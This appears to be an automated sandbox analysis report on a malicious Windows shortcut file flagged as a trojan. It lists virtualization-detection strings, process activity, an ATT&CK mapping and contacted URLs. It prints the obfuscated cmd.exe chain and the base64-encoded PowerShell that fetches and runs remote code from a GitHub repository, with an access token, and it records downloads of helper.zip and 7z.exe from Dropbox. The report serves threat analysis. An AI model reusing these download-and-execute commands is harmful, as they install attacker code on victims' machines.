Source: Amcache.hve.2.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.2.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: svchost.exe, 00000006.00000002.3426422913.0000020DA342B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.2.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.2.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: powershell.exe, 00000002.00000002.4197539133.000001B9EE0DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.2.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.2.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.2.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.2.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.2.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.2.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.2.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.2.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.2.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.2.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.2.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.2.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.2.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.2.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.2.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.2.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.2.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/1x3k/secret/refs/heads/main/secret' -Headers @{ Authorization = 'token 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' }).Content
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/1x3k/secret/refs/heads/main/secret' -Headers @{ Authorization = 'token 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' }).Content			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper	Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "aaaaaa\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|/v/d/c "servicerunlocaldriveusernotes1servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|ooooooooooooooooooooooooooo\|\|ooooooooooooooooooooooooooxxx\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|ooooooooooaaaa\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|cccccccc\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1oooooooooooooo\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|ooooooooooaaa\|\|servicerunlocaldriveusernotes1aa\|\|se^t acaaca=:\helper&&servicerunlocaldriveusernotes1\|\|ooooooooooaa\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|set ssa=exi&&servicerunlocaldriveusernotes1\|\|@if exist "c!acaaca!" (!ssa!t) else ( servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|set a=pow&&set aa=she&&servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|set verification=l&&servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|^se^t username=sqbfafgaiaaoaekabgb2ag8aawblac0a&&^s^et^ driver=daadwb1adiavaboagsazqbiae0arqbnagcamwbhadmaaab4aegajwagah0akqauaemabwbuahqazqbuahqa&&s^et password=aqb0aggadqbiahuacwblahiaywbvag4adablag4adaauagm&&set validation=-enco&&servicerunlocaldriveusernotes1\|\|servicerunlocaldriveusernotes1\|\|set^ update=qa
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -encoded sqbfafgaiaaoaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaanaggadab0ahaacwa6ac8alwbyageadwauagcaaqb0aggadqbiahuacwblahiaywbvag4adablag4adaauagmabwbtac8amqb4admaawavahmazqbjahiazqb0ac8acgblagyacwavaggazqbhagqacwavag0ayqbpag4alwbzaguaywbyaguadaanacaalqbiaguayqbkaguacgbzacaaqab7acaaqqb1ahqaaabvahiaaqb6ageadabpag8abgagad0aiaanahqabwbraguabgagagcaaabwaf8aaqbgagiayga1adiadabuafkatwbwaeiabgbsadaasgbnadaadwb1adiavaboagsazqbiae0arqbnagcamwbhadmaaab4aegajwagah0akqauaemabwbuahqazqbuahqa
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -encoded sqbfafgaiaaoaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaanaggadab0ahaacwa6ac8alwbyageadwauagcaaqb0aggadqbiahuacwblahiaywbvag4adablag4adaauagmabwbtac8amqb4admaawavahmazqbjahiazqb0ac8acgblagyacwavaggazqbhagqacwavag0ayqbpag4alwbzaguaywbyaguadaanacaalqbiaguayqbkaguacgbzacaaqab7acaaqqb1ahqaaabvahiaaqb6ageadabpag8abgagad0aiaanahqabwbraguabgagagcaaabwaf8aaqbgagiayga1adiadabuafkatwbwaeiabgbsadaasgbnadaadwb1adiavaboagsazqbiae0arqbnagcamwbhadmaaab4aegajwagah0akqauaemabwbuahqazqbuahqa	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior

Source: Amcache.hve.2.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.2.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.2.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.2.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mjjt5kTb4o.lnk	29%	ReversingLabs	Shortcut.Trojan.Pantera
mjjt5kTb4o.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://dropbox.c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
www-env.dropbox-dns.com	162.125.65.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7x088417&dl=1	false		high
https://raw.githubusercontent.com/1x3k/secret/refs/heads/main/secret	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/service_worker.js	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/tokens-vfltkUjWJ.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://paper.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.dropbox.com	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D76A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/notify-vfl4oJv2S.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	qmgr.db.6.dr	false		high
https://app.hellosign.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/spectrum/index.web-vflwvsegv.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://www.hellosign.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/snackbar-vfl0sHK6v.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://cfl.dropboxstatic.com/static/typescript/component_libraries/dwg-components/src/index.web-vfl	7z.exe.2.dr, helper.zip.2.dr	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/page_success/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlke	powershell.exe, 00000002.00000002.4130507147.000001B9D5E21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/js/file_viewer/index.web-vflDar80-.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://www.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/	7z.exe.2.dr, helper.zip.2.dr	false		high
https://www.dropbox.com/pithos/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000006.00000003.1763436197.0000020DA8C72000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1763436197.0000020DA8C0E000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	false		high
https://photos.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	qmgr.db.6.dr	false		high
https://dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.docsend.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.4187390208.000001B9E5DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4187390208.000001B9E5C5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E080000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50F8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-illustrations/index.web-vflFaDZOD.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://oneget.orgX	powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/api/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7BA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D71FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.4130507147.000001B9D5BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50E011000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.6.dr	false		high
https://login.yahoo.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
